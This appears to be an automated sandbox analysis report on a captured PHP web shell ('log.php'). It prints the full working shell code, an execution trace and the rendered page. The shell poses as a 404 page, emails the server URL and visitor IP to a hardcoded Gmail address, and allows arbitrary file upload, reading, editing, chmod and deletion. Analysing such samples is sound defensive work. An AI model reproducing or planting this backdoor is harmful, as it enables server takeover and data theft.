PHP Malware Analysis

log.php

md5: 96dc3bd452fd357341ae9a9a7a6bde9e

Jump to:

Screenshot


Attributes

Emails

Environment

Files

Input

Title

URLs
  • http://localhost/uploads/log.php (Traces)


Deobfuscated PHP code

<?php

error_reporting(0);
set_time_limit(0);
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);
ini_set('memory_limit', '64M');
header('Content-Type: text/html; charset=UTF-8');
$to = 'topimiring144@gmail.com';
$path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
$message = "URL: {$path} | IP Address :[ " . $_SERVER['REMOTE_ADDR'] . " ]";
mail($to, "Result Logger Mu | 0x4u", $message, "[ " . $_SERVER['REMOTE_ADDR'] . " ]");
if (get_magic_quotes_gpc()) {
    foreach ($_POST as $key => $value) {
        $_POST[$key] = stripslashes($value);
    }
}
echo "<!DOCTYPE HTML>\n<html>\n<head>\n<link href=\"\" rel=\"stylesheet\" type=\"text/css\">\n<title>404 Not Found</title>\n<style>\nbody{\nfont-family: \"Monospace\", cursive;\nbackground-color: black;\ncolor:white;\n}\n#content tr:hover{\nbackground-color: red;\ntext-shadow:0px 0px 10px #fff;\n}\n#content .first{\nbackground-color: red;\n}\ntable{\nborder: 1px #000000 dotted;\n}\na{\ncolor:white;\ntext-decoration: none;\n}\na:hover{\ncolor:blue;\ntext-shadow:0px 0px 10px #ffffff;\n}\ninput,select,textarea{\nborder: 1px #000000 solid;\n-moz-border-radius: 5px;\n-webkit-border-radius:5px;\nborder-radius:5px;\n}\n</style>\n</head>\n<body>\n<table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\n<tr><td><font color=\"white\">Path :</font> ";
if (isset($_GET['path'])) {
    $path = $_GET['path'];
} else {
    $path = getcwd();
}
$path = str_replace('\\', '/', $path);
$paths = explode('/', $path);
foreach ($paths as $id => $pat) {
    if ($pat == '' && $id == 0) {
        $a = true;
        echo "<a href=\"?path=/\">/</a>";
        continue;
    }
    if ($pat == '') {
        continue;
    }
    echo "<a href=\"?path=";
    for ($i = 0; $i <= $id; $i++) {
        echo "{$paths[$i]}";
        if ($i != $id) {
            echo "/";
        }
    }
    echo '">' . $pat . '</a>/';
}
echo "</td></tr><tr><td>";
if (isset($_FILES['file'])) {
    if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
        echo "<font color=\"green\">Upload Berhasil</font><br />";
    } else {
        echo "<font color=\"red\">Upload Gagal</font><br/>";
    }
}
echo "<form enctype=\"multipart/form-data\" method=\"POST\">\n<font color=\"white\">File Upload :</font> <input type=\"file\" name=\"file\" />\n<input type=\"submit\" value=\"upload\" />\n</form>\n</td></tr>";
if (isset($_GET['filesrc'])) {
    echo "<tr><td>Current File : ";
    echo $_GET['filesrc'];
    echo "</tr></td></table><br />";
    echo '<pre>' . htmlspecialchars(file_get_contents($_GET['filesrc'])) . '</pre>';
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
    echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
    if ($_POST['opt'] == 'chmod') {
        if (isset($_POST['perm'])) {
            if (chmod($_POST['path'], $_POST['perm'])) {
                echo "<font color=\"green\">Change Permission Berhasil</font><br/>";
            } else {
                echo "<font color=\"red\">Change Permission Gagal</font><br />";
            }
        }
        echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])), -4) . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
    } elseif ($_POST['opt'] == 'rename') {
        if (isset($_POST['newname'])) {
            if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
                echo "<font color=\"green\">Ganti Nama Berhasil</font><br/>";
            } else {
                echo "<font color=\"red\">Ganti Nama Gagal</font><br />";
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
    } elseif ($_POST['opt'] == 'edit') {
        if (isset($_POST['src'])) {
            $fp = fopen($_POST['path'], 'w');
            if (fwrite($fp, $_POST['src'])) {
                echo "<font color=\"green\">Berhasil Edit File</font><br/>";
            } else {
                echo "<font color=\"red\">Gagal Edit File</font><br/>";
            }
            fclose($fp);
        }
        echo '<form method="POST">
<textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Save" />
</form>';
    }
    echo "</center>";
} else {
    echo "</table><br/><center>";
    if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
        if ($_POST['type'] == 'dir') {
            if (rmdir($_POST['path'])) {
                echo "<font color=\"green\">Directory Terhapus</font><br/>";
            } else {
                echo "<font color=\"red\">Directory Gagal Terhapus </font><br/>";
            }
        } elseif ($_POST['type'] == 'file') {
            if (unlink($_POST['path'])) {
                echo "<font color=\"green\">File Terhapus</font><br/>";
            } else {
                echo "<font color=\"red\">File Gagal Dihapus</font><br/>";
            }
        }
    }
    echo "</center>";
    $scandir = scandir($path);
    echo "<div id=\"content\"><table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\n<tr class=\"first\">\n<td><center>Name</peller></center></td>\n<td><center>Size</peller></center></td>\n<td><center>Permission</peller></center></td>\n<td><center>Modify</peller></center></td>\n</tr>";
    foreach ($scandir as $dir) {
        if (!is_dir($path . '/' . $dir) || $dir == '.' || $dir == '..') {
            continue;
        }
        echo '<tr>
<td><a href="?path=' . $path . '/' . $dir . '">' . $dir . '</a></td>
<td><center>--</center></td>
<td><center>';
        if (is_writable($path . '/' . $dir)) {
            echo "<font color=\"green\">";
        } elseif (!is_readable($path . '/' . $dir)) {
            echo "<font color=\"red\">";
        }
        echo perms($path . '/' . $dir);
        if (is_writable($path . '/' . $dir) || !is_readable($path . '/' . $dir)) {
            echo "</font>";
        }
        echo '</center></td>
<td><center><form method="POST" action="?option&path=' . $path . '">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
</select>
<input type="hidden" name="type" value="dir">
<input type="hidden" name="name" value="' . $dir . '">
<input type="hidden" name="path" value="' . $path . '/' . $dir . '">
<input type="submit" value=">">
</form></center></td>
</tr>';
    }
    echo "<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>";
    foreach ($scandir as $file) {
        if (!is_file($path . '/' . $file)) {
            continue;
        }
        $size = filesize($path . '/' . $file) / 1024;
        $size = round($size, 3);
        if ($size >= 1024) {
            $size = round($size / 1024, 2) . ' MB';
        } else {
            $size .= ' KB';
        }
        echo '<tr>
<td><a href="?filesrc=' . $path . '/' . $file . '&path=' . $path . '">' . $file . '</a></td>
<td><center>' . $size . '</center></td>
<td><center>';
        if (is_writable($path . '/' . $file)) {
            echo "<font color=\"green\">";
        } elseif (!is_readable($path . '/' . $file)) {
            echo "<font color=\"red\">";
        }
        echo perms($path . '/' . $file);
        if (is_writable($path . '/' . $file) || !is_readable($path . '/' . $file)) {
            echo "</font>";
        }
        echo '</center></td>
<td><center><form method="POST" action="?option&path=' . $path . '">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="' . $file . '">
<input type="hidden" name="path" value="' . $path . '/' . $file . '">
<input type="submit" value=">">
</form></center></td>
</tr>';
    }
    echo "</table>\n</div>";
}
echo "</body></html>";
function perms($file)
{
    $perms = fileperms($file);
    if (($perms & 0xc000) == 0xc000) {
        // Socket
        $info = 's';
    } elseif (($perms & 0xa000) == 0xa000) {
        // Symbolic Link
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        // Regular
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        // Block special
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        // Directory
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        // Character special
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        // FIFO pipe
        $info = 'p';
    } else {
        // Unknown
        $info = 'u';
    }
    // Owner
    $info .= $perms & 0x100 ? 'r' : '-';
    $info .= $perms & 0x80 ? 'w' : '-';
    $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
    // Group
    $info .= $perms & 0x20 ? 'r' : '-';
    $info .= $perms & 0x10 ? 'w' : '-';
    $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
    // World
    $info .= $perms & 0x4 ? 'r' : '-';
    $info .= $perms & 0x2 ? 'w' : '-';
    $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
    return $info;
}

Execution traces

data/traces/96dc3bd452fd357341ae9a9a7a6bde9e_trace-1676238773.6237.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 19:53:19.521552]
1	0	1	0.000140	393512
1	3	0	0.000450	450024	{main}	1		/var/www/html/uploads/log.php	0	0
2	4	0	0.000469	450024	error_reporting	0		/var/www/html/uploads/log.php	2	1	0
2	4	1	0.000484	450064
2	4	R			22527
2	5	0	0.000498	450024	set_time_limit	0		/var/www/html/uploads/log.php	3	1	0
2	5	1	0.000513	450088
2	5	R			FALSE
2	6	0	0.000526	450056	ini_set	0		/var/www/html/uploads/log.php	4	2	'output_buffering'	0
2	6	1	0.000542	450128
2	6	R			FALSE
2	7	0	0.000555	450056	ini_set	0		/var/www/html/uploads/log.php	5	2	'display_errors'	0
2	7	1	0.000568	450128
2	7	R			''
2	8	0	0.000581	450056	ini_set	0		/var/www/html/uploads/log.php	6	2	'memory_limit'	'64M'
2	8	1	0.000595	450160
2	8	R			'128M'
2	9	0	0.000608	450056	header	0		/var/www/html/uploads/log.php	7	1	'Content-Type: text/html; charset=UTF-8'
2	9	1	0.000623	450232
2	9	R			NULL
1		A						/var/www/html/uploads/log.php	8	$to = 'topimiring144@gmail.com'
1		A						/var/www/html/uploads/log.php	9	$path = 'http://localhost/uploads/log.php'
1		A						/var/www/html/uploads/log.php	10	$message = 'URL: http://localhost/uploads/log.php | IP Address :[ 127.0.0.1 ]'
2	10	0	0.000675	450400	mail	0		/var/www/html/uploads/log.php	11	4	'topimiring144@gmail.com'	'Result Logger Mu | 0x4u'	'URL: http://localhost/uploads/log.php | IP Address :[ 127.0.0.1 ]'	'[ 127.0.0.1 ]'
2	10	1	0.001406	450544
2	10	R			FALSE
2	11	0	0.001429	450360	get_magic_quotes_gpc	0		/var/www/html/uploads/log.php	12	0
2	11	1	0.001442	450360
2	11	R			FALSE
2	12	0	0.001457	450360	getcwd	0		/var/www/html/uploads/log.php	60	0
2	12	1	0.001470	450408
2	12	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/log.php	60	$path = '/var/www/html/uploads'
2	13	0	0.001497	450344	str_replace	0		/var/www/html/uploads/log.php	62	3	'\\'	'/'	'/var/www/html/uploads'
2	13	1	0.001513	450440
2	13	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/log.php	62	$path = '/var/www/html/uploads'
2	14	0	0.001538	450344	explode	0		/var/www/html/uploads/log.php	63	2	'/'	'/var/www/html/uploads'
2	14	1	0.001551	450920
2	14	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/log.php	63	$paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/log.php	65	$id = 0
1		A						/var/www/html/uploads/log.php	67	$a = TRUE
1		A						/var/www/html/uploads/log.php	65	$id = 1
1		A						/var/www/html/uploads/log.php	73	$i = 0
1		A						/var/www/html/uploads/log.php	73	$i++
1		A						/var/www/html/uploads/log.php	73	$i++
1		A						/var/www/html/uploads/log.php	65	$id = 2
1		A						/var/www/html/uploads/log.php	73	$i = 0
1		A						/var/www/html/uploads/log.php	73	$i++
1		A						/var/www/html/uploads/log.php	73	$i++
1		A						/var/www/html/uploads/log.php	73	$i++
1		A						/var/www/html/uploads/log.php	65	$id = 3
1		A						/var/www/html/uploads/log.php	73	$i = 0
1		A						/var/www/html/uploads/log.php	73	$i++
1		A						/var/www/html/uploads/log.php	73	$i++
1		A						/var/www/html/uploads/log.php	73	$i++
1		A						/var/www/html/uploads/log.php	73	$i++
1		A						/var/www/html/uploads/log.php	65	$id = 4
1		A						/var/www/html/uploads/log.php	73	$i = 0
1		A						/var/www/html/uploads/log.php	73	$i++
1		A						/var/www/html/uploads/log.php	73	$i++
1		A						/var/www/html/uploads/log.php	73	$i++
1		A						/var/www/html/uploads/log.php	73	$i++
1		A						/var/www/html/uploads/log.php	73	$i++
2	15	0	0.001785	450848	scandir	0		/var/www/html/uploads/log.php	164	1	'/var/www/html/uploads'
2	15	1	0.001818	451464
2	15	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'log.php', 5 => 'prepend.php']
1		A						/var/www/html/uploads/log.php	164	$scandir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'log.php', 5 => 'prepend.php']
2	16	0	0.001856	451480	is_dir	0		/var/www/html/uploads/log.php	174	1	'/var/www/html/uploads/.'
2	16	1	0.001873	451544
2	16	R			TRUE
2	17	0	0.001887	451512	is_dir	0		/var/www/html/uploads/log.php	174	1	'/var/www/html/uploads/..'
2	17	1	0.001901	451560
2	17	R			TRUE
2	18	0	0.001914	451520	is_dir	0		/var/www/html/uploads/log.php	174	1	'/var/www/html/uploads/.htaccess'
2	18	1	0.001934	451560
2	18	R			FALSE
2	19	0	0.001948	451520	is_dir	0		/var/www/html/uploads/log.php	174	1	'/var/www/html/uploads/data'
2	19	1	0.001962	451560
2	19	R			TRUE
2	20	0	0.001976	451520	is_writable	0		/var/www/html/uploads/log.php	179	1	'/var/www/html/uploads/data'
2	20	1	0.001993	451560
2	20	R			TRUE
2	21	0	0.002007	451520	perms	1		/var/www/html/uploads/log.php	181	1	'/var/www/html/uploads/data'
3	22	0	0.002020	451520	fileperms	0		/var/www/html/uploads/log.php	239	1	'/var/www/html/uploads/data'
3	22	1	0.002033	451560
3	22	R			16895
2		A						/var/www/html/uploads/log.php	239	$perms = 16895
2		A						/var/www/html/uploads/log.php	255	$info = 'd'
2		A						/var/www/html/uploads/log.php	268	$info .= 'r'
2		A						/var/www/html/uploads/log.php	269	$info .= 'w'
2		A						/var/www/html/uploads/log.php	272	$info .= 'x'
2		A						/var/www/html/uploads/log.php	275	$info .= 'r'
2		A						/var/www/html/uploads/log.php	276	$info .= 'w'
2		A						/var/www/html/uploads/log.php	279	$info .= 'x'
2		A						/var/www/html/uploads/log.php	282	$info .= 'r'
2		A						/var/www/html/uploads/log.php	283	$info .= 'w'
2		A						/var/www/html/uploads/log.php	286	$info .= 'x'
2	21	1	0.002149	451560
2	21	R			'drwxrwxrwx'
2	23	0	0.002163	451520	is_writable	0		/var/www/html/uploads/log.php	182	1	'/var/www/html/uploads/data'
2	23	1	0.002178	451560
2	23	R			TRUE
2	24	0	0.002192	451520	is_dir	0		/var/www/html/uploads/log.php	174	1	'/var/www/html/uploads/log.php'
2	24	1	0.002207	451560
2	24	R			FALSE
2	25	0	0.002220	451528	is_dir	0		/var/www/html/uploads/log.php	174	1	'/var/www/html/uploads/prepend.php'
2	25	1	0.002235	451576
2	25	R			FALSE
2	26	0	0.002248	451520	is_file	0		/var/www/html/uploads/log.php	201	1	'/var/www/html/uploads/.'
2	26	1	0.002262	451544
2	26	R			FALSE
2	27	0	0.002278	451512	is_file	0		/var/www/html/uploads/log.php	201	1	'/var/www/html/uploads/..'
2	27	1	0.002292	451560
2	27	R			FALSE
2	28	0	0.002304	451520	is_file	0		/var/www/html/uploads/log.php	201	1	'/var/www/html/uploads/.htaccess'
2	28	1	0.002386	451560
2	28	R			TRUE
2	29	0	0.002400	451520	filesize	0		/var/www/html/uploads/log.php	202	1	'/var/www/html/uploads/.htaccess'
2	29	1	0.002413	451560
2	29	R			64
1		A						/var/www/html/uploads/log.php	202	$size = 0.0625
2	30	0	0.002437	451464	round	0		/var/www/html/uploads/log.php	203	2	0.0625	3
2	30	1	0.002450	451536
2	30	R			0.063
1		A						/var/www/html/uploads/log.php	203	$size = 0.063
1		A						/var/www/html/uploads/log.php	207	$size = '0.063 KB'
2	31	0	0.002486	451560	is_writable	0		/var/www/html/uploads/log.php	214	1	'/var/www/html/uploads/.htaccess'
2	31	1	0.002502	451600
2	31	R			FALSE
2	32	0	0.002515	451560	is_readable	0		/var/www/html/uploads/log.php	215	1	'/var/www/html/uploads/.htaccess'
2	32	1	0.002530	451600
2	32	R			TRUE
2	33	0	0.002543	451560	perms	1		/var/www/html/uploads/log.php	216	1	'/var/www/html/uploads/.htaccess'
3	34	0	0.002555	451560	fileperms	0		/var/www/html/uploads/log.php	239	1	'/var/www/html/uploads/.htaccess'
3	34	1	0.002568	451600
3	34	R			33188
2		A						/var/www/html/uploads/log.php	239	$perms = 33188
2		A						/var/www/html/uploads/log.php	249	$info = '-'
2		A						/var/www/html/uploads/log.php	268	$info .= 'r'
2		A						/var/www/html/uploads/log.php	269	$info .= 'w'
2		A						/var/www/html/uploads/log.php	272	$info .= '-'
2		A						/var/www/html/uploads/log.php	275	$info .= 'r'
2		A						/var/www/html/uploads/log.php	276	$info .= '-'
2		A						/var/www/html/uploads/log.php	279	$info .= '-'
2		A						/var/www/html/uploads/log.php	282	$info .= 'r'
2		A						/var/www/html/uploads/log.php	283	$info .= '-'
2		A						/var/www/html/uploads/log.php	286	$info .= '-'
2	33	1	0.002681	451600
2	33	R			'-rw-r--r--'
2	35	0	0.002695	451560	is_writable	0		/var/www/html/uploads/log.php	217	1	'/var/www/html/uploads/.htaccess'
2	35	1	0.002710	451600
2	35	R			FALSE
2	36	0	0.002723	451560	is_readable	0		/var/www/html/uploads/log.php	217	1	'/var/www/html/uploads/.htaccess'
2	36	1	0.002737	451600
2	36	R			TRUE
2	37	0	0.002751	451560	is_file	0		/var/www/html/uploads/log.php	201	1	'/var/www/html/uploads/data'
2	37	1	0.002771	451600
2	37	R			FALSE
2	38	0	0.002784	451560	is_file	0		/var/www/html/uploads/log.php	201	1	'/var/www/html/uploads/log.php'
2	38	1	0.002798	451600
2	38	R			TRUE
2	39	0	0.002810	451560	filesize	0		/var/www/html/uploads/log.php	202	1	'/var/www/html/uploads/log.php'
2	39	1	0.002823	451600
2	39	R			8247
1		A						/var/www/html/uploads/log.php	202	$size = 8.0537109375
2	40	0	0.002846	451464	round	0		/var/www/html/uploads/log.php	203	2	8.0537109375	3
2	40	1	0.002859	451536
2	40	R			8.054
1		A						/var/www/html/uploads/log.php	203	$size = 8.054
1		A						/var/www/html/uploads/log.php	207	$size = '8.054 KB'
2	41	0	0.002895	451560	is_writable	0		/var/www/html/uploads/log.php	214	1	'/var/www/html/uploads/log.php'
2	41	1	0.002910	451600
2	41	R			FALSE
2	42	0	0.002923	451560	is_readable	0		/var/www/html/uploads/log.php	215	1	'/var/www/html/uploads/log.php'
2	42	1	0.002936	451600
2	42	R			TRUE
2	43	0	0.002949	451560	perms	1		/var/www/html/uploads/log.php	216	1	'/var/www/html/uploads/log.php'
3	44	0	0.002961	451560	fileperms	0		/var/www/html/uploads/log.php	239	1	'/var/www/html/uploads/log.php'
3	44	1	0.002973	451600
3	44	R			33204
2		A						/var/www/html/uploads/log.php	239	$perms = 33204
2		A						/var/www/html/uploads/log.php	249	$info = '-'
2		A						/var/www/html/uploads/log.php	268	$info .= 'r'
2		A						/var/www/html/uploads/log.php	269	$info .= 'w'
2		A						/var/www/html/uploads/log.php	272	$info .= '-'
2		A						/var/www/html/uploads/log.php	275	$info .= 'r'
2		A						/var/www/html/uploads/log.php	276	$info .= 'w'
2		A						/var/www/html/uploads/log.php	279	$info .= '-'
2		A						/var/www/html/uploads/log.php	282	$info .= 'r'
2		A						/var/www/html/uploads/log.php	283	$info .= '-'
2		A						/var/www/html/uploads/log.php	286	$info .= '-'
2	43	1	0.003087	451600
2	43	R			'-rw-rw-r--'
2	45	0	0.003101	451560	is_writable	0		/var/www/html/uploads/log.php	217	1	'/var/www/html/uploads/log.php'
2	45	1	0.003115	451600
2	45	R			FALSE
2	46	0	0.003128	451560	is_readable	0		/var/www/html/uploads/log.php	217	1	'/var/www/html/uploads/log.php'
2	46	1	0.003142	451600
2	46	R			TRUE
2	47	0	0.003156	451568	is_file	0		/var/www/html/uploads/log.php	201	1	'/var/www/html/uploads/prepend.php'
2	47	1	0.003170	451616
2	47	R			TRUE
2	48	0	0.003183	451576	filesize	0		/var/www/html/uploads/log.php	202	1	'/var/www/html/uploads/prepend.php'
2	48	1	0.003196	451616
2	48	R			57
1		A						/var/www/html/uploads/log.php	202	$size = 0.0556640625
2	49	0	0.003219	451472	round	0		/var/www/html/uploads/log.php	203	2	0.0556640625	3
2	49	1	0.003231	451544
2	49	R			0.056
1		A						/var/www/html/uploads/log.php	203	$size = 0.056
1		A						/var/www/html/uploads/log.php	207	$size = '0.056 KB'
2	50	0	0.003266	451576	is_writable	0		/var/www/html/uploads/log.php	214	1	'/var/www/html/uploads/prepend.php'
2	50	1	0.003281	451616
2	50	R			FALSE
2	51	0	0.003294	451576	is_readable	0		/var/www/html/uploads/log.php	215	1	'/var/www/html/uploads/prepend.php'
2	51	1	0.003309	451616
2	51	R			TRUE
2	52	0	0.003322	451576	perms	1		/var/www/html/uploads/log.php	216	1	'/var/www/html/uploads/prepend.php'
3	53	0	0.003334	451576	fileperms	0		/var/www/html/uploads/log.php	239	1	'/var/www/html/uploads/prepend.php'
3	53	1	0.003347	451616
3	53	R			33261
2		A						/var/www/html/uploads/log.php	239	$perms = 33261
2		A						/var/www/html/uploads/log.php	249	$info = '-'
2		A						/var/www/html/uploads/log.php	268	$info .= 'r'
2		A						/var/www/html/uploads/log.php	269	$info .= 'w'
2		A						/var/www/html/uploads/log.php	272	$info .= 'x'
2		A						/var/www/html/uploads/log.php	275	$info .= 'r'
2		A						/var/www/html/uploads/log.php	276	$info .= '-'
2		A						/var/www/html/uploads/log.php	279	$info .= 'x'
2		A						/var/www/html/uploads/log.php	282	$info .= 'r'
2		A						/var/www/html/uploads/log.php	283	$info .= '-'
2		A						/var/www/html/uploads/log.php	286	$info .= 'x'
2	52	1	0.003461	451616
2	52	R			'-rwxr-xr-x'
2	54	0	0.003474	451576	is_writable	0		/var/www/html/uploads/log.php	217	1	'/var/www/html/uploads/prepend.php'
2	54	1	0.003489	451616
2	54	R			FALSE
2	55	0	0.003502	451576	is_readable	0		/var/www/html/uploads/log.php	217	1	'/var/www/html/uploads/prepend.php'
2	55	1	0.003520	451616
2	55	R			TRUE
1	3	1	0.003541	451480
			0.003575	326392
TRACE END   [2023-02-12 19:53:19.525017]


Generated HTML code

<html><head>
<link href="" rel="stylesheet" type="text/css">
<title>404 Not Found</title>
<style>
body{
font-family: "Monospace", cursive;
background-color: black;
color:white;
}
#content tr:hover{
background-color: red;
text-shadow:0px 0px 10px #fff;
}
#content .first{
background-color: red;
}
table{
border: 1px #000000 dotted;
}
a{
color:white;
text-decoration: none;
}
a:hover{
color:blue;
text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
</head>
<body>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr><td><font color="white">Path :</font> <a href="?path=/">/</a><a href="?path=/var">var</a>/<a href="?path=/var/www">www</a>/<a href="?path=/var/www/html">html</a>/</td></tr><tr><td><form enctype="multipart/form-data" method="POST">
<font color="white">File Upload :</font> <input type="file" name="file">
<input type="submit" value="upload">
</form>
</td></tr></tbody></table><br><center></center><div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permission</center></td>
<td><center>Modify</center></td>
</tr><tr class="first"><td></td><td></td><td></td><td></td></tr><tr>
<td><a href="?filesrc=/var/www/html/beneri.se_malware_analysis&amp;path=/var/www/html">beneri.se_malware_analysis</a></td>
<td><center>0 KB</center></td>
<td><center>-rw-r--r--</center></td>
<td><center><form method="POST" action="?option&amp;path=/var/www/html">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="beneri.se_malware_analysis">
<input type="hidden" name="path" value="/var/www/html/beneri.se_malware_analysis">
<input type="submit" value=">">
</form></center></td>
</tr><tr>
<td><a href="?filesrc=/var/www/html/log.php&amp;path=/var/www/html">log.php</a></td>
<td><center>8.054 KB</center></td>
<td><center>-rw-rw-r--</center></td>
<td><center><form method="POST" action="?option&amp;path=/var/www/html">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="log.php">
<input type="hidden" name="path" value="/var/www/html/log.php">
<input type="submit" value=">">
</form></center></td>
</tr></tbody></table>
</div></body></html>

Original PHP code

<?php
error_reporting(0);
set_time_limit(0);
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);
ini_set('memory_limit', '64M');
header('Content-Type: text/html; charset=UTF-8');
$to = 'topimiring144@gmail.com';
$path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
$message = "URL: $path | IP Address :[ " . $_SERVER['REMOTE_ADDR'] . " ]";
 mail($to, "Result Logger Mu | 0x4u", $message, "[ " . $_SERVER['REMOTE_ADDR'] . " ]");
if(get_magic_quotes_gpc()){
foreach($_POST as $key=>$value){
$_POST[$key] = stripslashes($value);
}
}
echo '<!DOCTYPE HTML>
<html>
<head>
<link href="" rel="stylesheet" type="text/css">
<title>404 Not Found</title>
<style>
body{
font-family: "Monospace", cursive;
background-color: black;
color:white;
}
#content tr:hover{
background-color: red;
text-shadow:0px 0px 10px #fff;
}
#content .first{
background-color: red;
}
table{
border: 1px #000000 dotted;
}
a{
color:white;
text-decoration: none;
}
a:hover{
color:blue;
text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
</head>
<body>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td><font color="white">Path :</font> ';
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);
 
foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}
echo '</td></tr><tr><td>';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo '<font color="green">Upload Berhasil</font><br />';
}else{
echo '<font color="red">Upload Gagal</font><br/>';
}
}
echo '<form enctype="multipart/form-data" method="POST">
<font color="white">File Upload :</font> <input type="file" name="file" />
<input type="submit" value="upload" />
</form>
</td></tr>';
if(isset($_GET['filesrc'])){
echo "<tr><td>Current File : ";
echo $_GET['filesrc'];
echo '</tr></td></table><br />';
echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
if($_POST['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],$_POST['perm'])){
echo '<font color="green">Change Permission Berhasil</font><br/>';
}else{
echo '<font color="red">Change Permission Gagal</font><br />';
}
}
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<font color="green">Ganti Nama Berhasil</font><br/>';
}else{
echo '<font color="red">Ganti Nama Gagal</font><br />';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<font color="green">Berhasil Edit File</font><br/>';
}else{
echo '<font color="red">Gagal Edit File</font><br/>';
}
fclose($fp);
}
echo '<form method="POST">
<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Save" />
</form>';
}
echo '</center>';
}else{
echo '</table><br/><center>';
